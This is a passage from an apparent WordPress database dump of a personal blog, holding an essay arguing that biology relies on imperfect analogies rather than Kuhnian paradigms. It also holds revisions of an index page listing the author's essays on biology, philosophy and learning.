target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fbe636161-8405-4a0d-841b-85c401d95861_1516x1600.png\" alt=\"\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Then, when it gets to actually understanding problems with the immune system, we’re at a loss. We still can’t explain autoimmune diseases any better than “it’s the immune system attacking your body” or explain why certain immunosuppressive medications work or don’t work. There’s no analogy that remotely captures the blizzard of immune responses that occur when a foreign body enters the bloodstream, so we’re largely at a loss.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s tempting to think, then, that this would be a good place for a paradigm, something that can reduce the immune system down to its component parts and predict each next step. But it’s hard to imagine what those component parts would be, and how such a predictive model would work.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, from my point of view, there are two options here.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. Assume that analogies will come as our understanding of the system grows. So, understanding will lead to analogies which will lead to greater understanding.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. Assume that there are no appropriate analogies for this system, and try to develop a different way of understanding it, likely by some kind of advanced modeling or AI that’s not currently feasible.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s a pick your battle type of situation. Would you rather understand a system that seems impossible to understand, or develop a type of modeling/AI that doesn’t exist? It’s not easy to answer.</p>\n<!-- /wp:paragraph -->','Biology has analogies, not paradigms￼','','publish','closed','closed','','biology-has-analogies-not-paradigms%ef%bf%bc','','','2022-10-19 15:45:18','2022-10-19 15:45:18','',0,'https://trevorklee.com/?page_id=323',0,'page','',0),
(324,1,'2022-10-19 15:45:18','2022-10-19 15:45:18','<!-- wp:paragraph -->\n<p>The philosopher of science Karl Popper argued that Arthur Eddington’s 1919 test of general relativity emblematized science in action. At that moment, in Popper’s view, Eddington’s observation of the shift of light during a solar eclipse falsified Newtonian physics, leaving Einsteinian physics the only theory left standing.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The later philosopher Thomas Kuhn provided a different view of this test. Kuhn argued that all scientists see facts through the lens of a paradigm. An effective paradigm can encompass any fact, even ones which seem to contradict the paradigm. However, if enough anomalies accumulate and there’s a convincing alternative paradigm, scientists will switch over to the alternative paradigm. So, in Kuhn’s view, Eddington’s observation was just another anomaly in a list of anomalies that prompted the scientific world to switch over to an Einsteinian paradigm.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you’re familiar at all with the philosophy of science, these two viewpoints are probably old hat to you. I used to teach them myself in an Introduction to Western Philosophy course that I taught for a Chinese MOOC. But I’ve been thinking about them recently in the context of the various biological mysteries I’ve been exploring in my blog posts. You see, I don’t think either of them really apply to our understanding of these biological mysteries.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In biology, there aren’t really paradigms or theories that attempt to explain everything. There’s no equivalent of the Newtonian paradigm for obesity or autoimmune diseases. Even for DNA, while there is a “central dogma”, there’s nothing resembling a paradigm. In other words, there’s something that you’re supposed to understand and believe in in order to make sense of it all, but inherent in that is the idea that there are some parts missing, and you’re just going to have to accept that for now until we come up with something better.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Most parts of biology don’t even get a dogma. The closest they get are analogies, which can be better fitting or worse fitting. So, for example, it’s common to say the heart is like a pump (or even just “the heart is a pump”), which is pretty accurate as it does pump blood throughout the body. This doesn’t capture all the complexities of the anatomy of the heart or the relationship of the heart to the lungs, but it does give a good idea of what the heart does.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It also gives a good idea of most problems that can go wrong with the heart. There can be a blockage in the pump itself, which can reduce the amount of blood that can go into the heart or even stop blood from circulating through the heart. There can also be weakness in the muscle, which makes the pump less effective.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This pump analogy doesn’t cover some of the other common problems in the heart, like defects that cause inappropriate mixing of oxygen-rich and oxygen-poor blood or disruptions in rhythm that can be caused by disruptions in the electrical signal that controls the heart’s beating. Those go beyond simple pump analogies. However, that really doesn’t matter.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We don’t rely on the analogy to predict or explain all heart problems, just most of them. There’s no situation in which a heart anomaly would cause us to switch to a different analogy. Gaps in this analogy have been known for at least 100 years, but the analogy is still useful for understanding most heart mechanics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And that’s really the best of the analogies that we get. Other analogies are worse. For instance, it’s very common to hear mRNA (or DNA) referred to as code. This is a useful analogy in some ways. For instance, it lets us think about how we can upload a sequence of mRNA to Github, print mRNA sequences, measure the amount of information in a given amount of mRNA, or expect a certain predictable outcome from a certain sequence of nucleotides.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, this analogy breaks down completely when we think about mRNA as a physical substance. There’s no code-based analogy for the importance of the parts of mRNA that physically link with the ribosomes, interact with the immune system, or are degraded with use. It would have been literally impossible to build the mRNA vaccines without an understanding of the chemistry and biology of mRNA, although, again, it was helpful in building the mRNA vaccines to think about the mRNA as code in certain concepts.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Even though all biological analogies are lacking in some way, they’re still important, though, which is why they stick around. There’s no better way to illustrate this than looking at a part of biology where analogies are lacking and seeing how confusing it is.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The one that immediately jumps to my mind is the immune system. Now, the basics of the adaptive immune system are easy enough to analogize, like talking about antibodies as police or soldiers. But the actual complexity of the immune system way outweighs the usefulness of any such analogy. Take a look at the complexity of this map of the innate immune system from Wikipedia.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fbe636161-8405-4a0d-841b-85c401d95861_1516x1600.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fbe636161-8405-4a0d-841b-85c401d95861_1516x1600.png\" alt=\"\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Then, when it gets to actually understanding problems with the immune system, we’re at a loss. We still can’t explain autoimmune diseases any better than “it’s the immune system attacking your body” or explain why certain immunosuppressive medications work or don’t work. There’s no analogy that remotely captures the blizzard of immune responses that occur when a foreign body enters the bloodstream, so we’re largely at a loss.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s tempting to think, then, that this would be a good place for a paradigm, something that can reduce the immune system down to its component parts and predict each next step. But it’s hard to imagine what those component parts would be, and how such a predictive model would work.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, from my point of view, there are two options here.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. Assume that analogies will come as our understanding of the system grows. So, understanding will lead to analogies which will lead to greater understanding.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. Assume that there are no appropriate analogies for this system, and try to develop a different way of understanding it, likely by some kind of advanced modeling or AI that’s not currently feasible.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s a pick your battle type of situation. Would you rather understand a system that seems impossible to understand, or develop a type of modeling/AI that doesn’t exist? It’s not easy to answer.</p>\n<!-- /wp:paragraph -->','Biology has analogies, not paradigms￼','','inherit','closed','closed','','323-revision-v1','','','2022-10-19 15:45:18','2022-10-19 15:45:18','',323,'https://trevorklee.com/?p=324',0,'revision','',0),
(326,1,'2022-10-19 15:49:54','2022-10-19 15:49:54','<div class=\"ml-form-embed\" data-account=\"1447886:p2j3d8j1q4\" data-form=\"4814894:l5k3q3\">\n</div>\n\n<!-- wp:heading -->\n<h2>Biology</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/biology-has-analogies-not-paradigms%ef%bf%bc/\" data-type=\"page\" data-id=\"323\">Biology has analogies, not paradigms</a> - Talking about how, unlike Kuhn or Popper\'s models of science, there are no real paradigms or falsification of models in molecular biology. There are just analogies, which are imperfect but useful.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-does-the-flu-covid-make-us-tired%ef%bf%bc/\" data-type=\"page\" data-id=\"303\">Why does the flu/COVID make us tired</a>? - Inspired by a recent bout with COVID, trying to figure out why COVID makes us so exhausted. Discusses the relationship between adenosine and sleep vs. glucose and fatigue (i.e. the tired you get at night vs. the tired you get after a marathon).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/are-being-big-and-old-risk-factors-for-cancer-or-not%ef%bf%bc/\" data-type=\"page\" data-id=\"301\">Are being big and old risk factors for cancer or not?</a> - Returning back to the question of the relationship of age and size with cancer. Why is a fat 3-year-old mouse so much more likely to get cancer than a 100-year-old whale?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/obesitys-relationship-with-type-2-diabetes-is-really-weird/\" data-type=\"page\" data-id=\"287\">Obesity\'s relationship with type 2 diabetes is really weird</a> - Once again, I go down the rabbit hole of obesity\'s weird health effects. This time, it\'s exploring type 2 diabetes, and why it\'s so easy to reverse and then un-reverse. It\'s weird!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-medical-thought-experiment/\" data-type=\"page\" data-id=\"283\">A medical thought experiment</a> - Traveling back in time to see if one could rediscover germ theory in the year 1650. Then, a twist!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/you-should-justify-your-exclusion-criteria/\">You should justify your exclusion criteria</a> - Discussing the use of exclusion criteria in medical intervention studies. Too often, they\'re used to redefine conditions into different ones than are discussed in the abstract.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/can-gene-therapy-fix-any-genetic-defect/\">Can gene therapy fix any genetic defect?</a> - Talking about the sorts of things gene therapy is good for and the sorts of things it really isn\'t.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-manifold-effects-of-tetracycline/\">The manifold effects of tetracycline</a> - Elaborating on the weirdly long list of effects of tetracycline and celebrating \"dirty\" drugs. Did you know tetracycline can cause teeth graying?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/ebv-causes-multiple-sclerosis-so-what/\" data-type=\"page\" data-id=\"263\">Epstein-Barr virus causes multiple sclerosis. So what?</a> - I question the implications of the most exciting epidemiological study of the year.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/should-you-take-metformin-for-longevity/\">Should you take metformin for longevity? No.</a> - Sorry for the spoiler, but in this essay, I take a look at the promise of metformin now for longevity, and the promise of metformin as a longevity therapeutic in the future. Neither impresses me.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/want-to-reverse-aging-try-reversing-graying-first/\">Want to reverse aging? Try reversing graying, first</a>. - Looking at the difficulties of graying research and comparing them with the much greater difficulties of general aging research. Also, looking at spontaneous re-pigmentation as possibly the only example of \"reversing\" aging in humans, and what can be learned from that.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-did-they-give-antidepressants-to-covid-patients/\" data-type=\"page\" data-id=\"234\">Why did they give antidepressants to COVID patients?</a> - Looking at the TOGETHER trial, which gave fluvoxamine to COVID patients in Brazil, as an example of repurposing gone right. I talk about the scientific background of the trial, why its success is hard to replicate (especially the funding parts), and the hacky ways for-profit companies try to do their own repurposing trials.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/organ-transplant-patients-maybe-dont-get-dementia-heres-why/\" data-type=\"page\" data-id=\"229\">Why organ transplant patients may not get dementia</a> - Exploring the implications of a paper that claims that patients on calcineurin inhibitors, a specific type of immunosuppressant commonly given to organ transplant patients, don\'t get dementia. One of these implications is that, if the paper\'s right, investors should give me money.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-cant-we-just-give-steroids-to-people-with-muscular-dystrophy/\" data-type=\"page\" data-id=\"195\">Why can\'t we just give steroids to people with muscular dystrophy?</a> -  Short answer: muscular dystrophy destroys the muscles, while steroids just recruit more muscle fibers that would be destroyed. It took 12 years and over a billion dollars to get to that answer, though.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-lesser-known-mechanism-for-alcohol-tolerance/\" data-type=\"page\" data-id=\"180\">A lesser known mechanism for alcohol tolerance</a> - exploring the mystery of alcoholics who walk around with a blood-alcohol level that would literally kill a non-drinker. I argue that the answer is modification to BK channels.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-bigger-species-live-longer-and-what-we-can-learn-from-it/\" data-type=\"page\" data-id=\"85\">Why bigger species live longer and what we can learn from it</a> - simple observation: bigger species live longer than smaller species (elephants vs. mice), but bigger breeds live shorter than smaller breeds (St. Bernards vs. Chihuahuas). This essay argues that immunology is the key.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-complete-guide-to-self-diagnosing-and-self-treating-ibs/\" data-type=\"page\" data-id=\"58\">A complete guide to self-diagnosing and self-treating IBS</a> - Self-explanatory. This is the sort of guide I wished I had when I was suffering through IBS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/are-mrna-therapies-the-future-of-pharmaceuticals/\" data-type=\"page\" data-id=\"54\">Are mRNA therapies the future?</a> - Examining the hype around mRNA. Hype is partially busted: mRNA is cool, but it\'s not a cure-all, and at this point it\'s difficult to imagine it being effective in non-vaccine therapeutics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-oncology-is-so-popular-for-pharmaceuticals/\">Why oncology is so popular for pharmaceuticals</a> - Discussing the economic reasons why oncology is such an attractive category for pharma companies, as well as the statistical reasons. Hint: it\'s because oncology drugs use bullshit measurements.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/what-is-the-role-of-inflammation-in-the-immune-system/\" data-type=\"page\" data-id=\"40\">What exactly is the role of inflammation in the immune system?</a> - Exploring the enduring mystery of why anti-inflammatory drugs like ibuprofen and adalimumab don\'t make people much more susceptible to infections.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/27/the-troubles-with-how-the-rate-of-virus-transmission-is-measured/\">Don\'t use R0 to measure the rate of COVID transmission </a>- Arguing that R0 is a bad measure because:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>It depends on circumstance and is not an inherent property of the virus</li><li>It\'s an average, which ignores superspreaders</li><li>Its problematic calculation assumes asymptomatic transmission, a constant relationship between when a person is infected and when they show symptoms, and a single number for \"infectiousness\", none of which are justified</li><li>The estimates for R0 of all viruses vary drastically</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/21/asymptomatic-shedding-of-viruses-is-the-norm/\">Asymptomatic shedding of the virus is the norm</a> - arguing from examples of every kind of virus (DNA, RNA, enveloped, and unenveloped) that asymptomatic shedding and transmission is common and uncontroversial</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/14/why-do-some-viruses-cross-over-from-animals/\">How to make bird flu (H5N1) cross over to humans</a> - exploring how viruses cross over from animals to humans, using an experiment where they made the bird flu transmissible between ferrets (and probably between humans)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/30/why-do-we-keep-getting-diseases-from-bats/\">Why do humans keep getting diseases from bats?</a> - long story short, because bats are social and are virus \"reservoirs\". This is because their unique immune system allows them to live with viruses that would kill other mammals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/15/genetically-engineering-virus-immune-bees/\">Genetically engineering virus immune bees</a> - exploring a paper that shows how scientists infected bees with a bacterium that gave the bees immunity to the viruses and mites that cause colony collapse. The key technology was RNA interference, which I explored for a bit in my \"failed projects\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2><strong>Philosophy</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/socrates-and-categorizations/\">Socrates and Categorizations</a>&nbsp;- Socrates, the first philosopher, developed a method to refine definitions and eliminate internal contradictions in thought. But his method has limitations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/aristotle-and-logical-systems/\">Aristotle and logical systems</a> - Aristotle was a brilliant man who insisted that the world make sense to him. So he developed a way of making it so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/francis-bacon-and-observation/\">Francis Bacon and observations</a>&nbsp;- Deduction is useful in many ways, but it can\'t produce new knowledge. Only induction can do that, but it\'s a tricky process. Francis Bacon tried to refine the method, and ended up being the first philosopher of science.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/descartes-and-radical-skepticism/\">Descartes and radical skepticism</a> - If skepticism is&nbsp;a hammer, Descartes saw all of philosophy as a wall of glass. And he was eager to start smashing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hume-and-the-problem-of-induction/\">Hume and the problem of induction</a>&nbsp;- Induction is super useful. It\'s a pity, therefore, that Hume showed it can never be justified. In short, nothing can ever be said to cause anything.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/immanuel-kant-and-intuition/\">Immanuel Kant and intuition</a>&nbsp;- According to Kant, thinking about thinking is like using a microscope to examine itself. It can\'t be done. Why? Intuition, or \"pre-processing\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/wittgenstein-and-the-limits-of-language/\">Wittgenstein and the limits of language</a> - Right now, I\'m attempting to use language to convey meaning. Is it working? Wittgenstein will tell us.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/karl-popper-and-falsificationism/\">Karl Popper and falsificationism</a> - Science is what allows men to fly, control electricity, and cheat death. It\'d probably be a good idea to figure out what exactly it is, then. Karl Popper is on the case.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/20/why-internet-arguments-go-in-circles-according-to-charles-sanders-peirce/\">Charles Sanders Peirce and arguments</a> -  For arguments to work, both sides need to be working off the same definitions. Two users of a word have the same definition of that word only if they intend the same effect when using that word.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>Learning</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/is-it-possible-to-explicitly-teach-intuition-in-the-sciences/\" data-type=\"page\" data-id=\"321\">Is it possible to explicitly teach intuition in the sciences?</a> - Going back to my geoscience roots to try to discuss how scientific intuition is formed and how it can be improved.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/09/levels-to-it-wrestling-and-learning/\">How D1 wrestlers learn and what we can learn from them</a> - basically, the best learning environment is to have</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>Close interaction with other people who are learning the same thing</li><li>Emotional bonding with said people</li><li>Drilling of what you want to learn</li><li>Single-minded focus on exactly what you want to learn</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/13/using-flashcards-to-learn-pretty-much-anything/\">Using spaced repetition flashcards to learn pretty much anything</a> - showing how spaced repetition can be used to learn any subject, including mathematics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/27/why-introductory-chemistry-is-boring-a-long-term-historical-perspective/\">Why introductory chemistry is boring: a historical perspective</a> - showing the evolution of the teaching of chemistry over time, from exciting medieval times to the overly boring present</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/03/why-most-intro-philosophy-courses-feel-useless-and-how-to-fix-them/\">Why most intro philosophy courses feel useless</a> - long story short, because they ask somewhat interesting questions and don\'t even try to answer them</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/13/learning-calculus-should-be-shocking-not-confusing-a-historical-perspective/\">How to fix calculus: make calculus exciting again</a> - showing how shocking calculus is (and historically controversial), and arguing that, if students were shocked by calculus, they might be interested in learning it</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>  </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2><strong>Uncategorized</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/vets-today-are-like-doctors-yesterday-and-doctors-today-are-miserable/\" data-type=\"page\" data-id=\"299\">Vets today are like doctors yesterday (and doctors today are miserable)</a> - Discussing the current state of the veterinary profession vs. the medical profession. Doctors are overworked and harassed, while vets are slightly less so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-win-an-election-in-10-easy-steps-an-effective-altruists-guide/\" data-type=\"page\" data-id=\"289\">How to win an election in 10 easy steps: an effective altruist\'s guide</a> - Written after the $14 million failure of the Carrick Flynn Congressional campaign. It\'s an attempt to gain some learning from it. Am I qualified to write this? Nope, but I\'ll do it anyways. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/my-terrible-plan-for-reducing-opioid-deaths/\" data-type=\"page\" data-id=\"257\">My terrible plan for reducing opioid deaths</a> - I discuss a drug that preserves respiratory function while still allowing for the pain-killing effects of opiates, and propose that everyone gets high with no consequences</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/so-you-want-to-patent-a-drug-heres-what-you-need-to-know/\" data-type=\"page\" data-id=\"203\">So, you want to patent a drug. Here’s what you need to know.</a> - Self-explanatory.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p> <a href=\"https://trevorklee.com/what-the-fda-is-really-like-from-a-small-biotechs-perspective-hint-theyre-terrifying/\" data-type=\"page\" data-id=\"187\">What the FDA is like from a small biotech\'s perspective (hint: they\'re terrifying)</a> - discussing the FDA through the lens of Axsome Therapeutics, a small biotech who rightfully thought they had a soon-to-be-approved treatment for depression. Then they got caught in a drive-by by the FDA. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-spot-a-good-fake-id/\">How to spot a good fake ID</a> - Self-explanatory. A lot of credit is due to a bouncer friend of mine, who is very good at spotting fake IDs and has a huge collection of them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/12/10/on-improving-teaching-in-bjj/\">Recommendations for improving teaching in Brazilian jiu jitsu</a>&nbsp;- Brazilian Jiu Jitsu is a sport that I\'ve gotten to know pretty well over the last year and a half, and I think it\'s fantastic. But I think there\'s a lot of room for improvement in the teaching of BJJ, and I\'ve outlined those recommendations here. This essay also serves as a brief summary of my philosophy and practices as an educator, as applied to BJJ.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-limits-of-argumentation-preview/\">The limits of argumentation</a> - Philosophers (and everyone else) have traditionally used argumentation to determine truth. But this doesn\'t always work. Using the 2016 presidential debates, I\'ll explore when exactly argumentation breaks down.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/probability-bayesian-theory-and-causation/\">Probability, Bayesian theory, and causation</a>- Many philosophers have discussed the difficulties of saying that some event caused another event. The answer that most scientists have adopted is to say some event&nbsp;<em>probably</em> caused another event. Does this work? Not entirely.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hard-science-soft-science-and-pseudoscience-preview/\">Hard science, soft science, and pseudoscience</a>&nbsp;- Some people say that Aristotle was the last man to know all the knowledge available in his time. The rest of us are forced to rely and even trust our lives on theories that we cannot understand or evaluate. This is a difficult problem, but it can be approached philosophically.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/thinking-about-big-numbers-preview/\">Thinking about big numbers</a>&nbsp;- We read in the news every day about thousands, millions, and billions, but these numbers are never put in context. This essay discusses a method of grappling with big numbers and making them understandable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/how-to-valuate-a-company-preview/\">How to valuate a company</a>&nbsp;- One of humanity\'s favorite uses for our money is to use it to make more money, and one of our favorite ways of doing that is to invest our money in companies.&nbsp;This essay compares and contrasts two methods of doing that from a philosophical standpoint: Warren Buffett\'s and Andreesen Horowitz\'s.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-flow-of-money-preview/\">The flow of money</a>&nbsp;- It must be nice to be a bank. People just give you money and you can do whatever you want with it until they ask for it back. Fortunately, banks aren\'t the only ones who get to play with other people\'s money, and I\'m not even talking about kids with rich parents.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/01/21/lessons-in-business-from-the-golden-age-of-advertising/\">Lessons in business from the golden age of advertising</a> - A summary of the lessons from a book I read about Albert Lasker, who was responsible for the success Sunkist, Warren Harding\'s presidential run, Palmolive, and Kotex, and others</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/25/self-organized-criticality-the-potential-and-problems-of-a-theory-of-everything/\">Self-organized criticality: the potential and problems of a theory of everything</a> - explaining the idea of self-organized criticality, its insane popularity, then its inevitable downfall</p>\n<!-- /wp:paragraph -->','Essays','','inherit','closed','closed','','22-revision-v1','','','2022-10-19 15:49:54','2022-10-19 15:49:54','',22,'https://trevorklee.com/?p=326',0,'revision','',0),
(327,1,'2022-10-19 15:59:02','2022-10-19 15:59:02','<div class=\"ml-form-embed\" data-account=\"1447886:p2j3d8j1q4\" data-form=\"4814894:l5k3q3\">\n</div>\n\n<!-- wp:heading -->\n<h2>Biology</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/steelmanning-chiropractic%ef%bf%bc/\" data-type=\"page\" data-id=\"317\">Steelmanning chiropractic</a> - Trying to prove that chiropractors have some useful ideas. This proved to be an insanely controversial post on Reddit. People hate chiropractors.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-ive-tried-to-fix-my-lower-back-pain/\" data-type=\"page\" data-id=\"319\">How I\'ve tried to fix my lower back pain</a> - Exploring a variety of methods to fix lower back pain and then just ending up back at stretching and strengthening.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/biology-has-analogies-not-paradigms%ef%bf%bc/\" data-type=\"page\" data-id=\"323\">Biology has analogies, not paradigms</a> - Talking about how, unlike Kuhn or Popper\'s models of science, there are no real paradigms or falsification of models in molecular biology. There are just analogies, which are imperfect but useful.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-does-the-flu-covid-make-us-tired%ef%bf%bc/\" data-type=\"page\" data-id=\"303\">Why does the flu/COVID make us 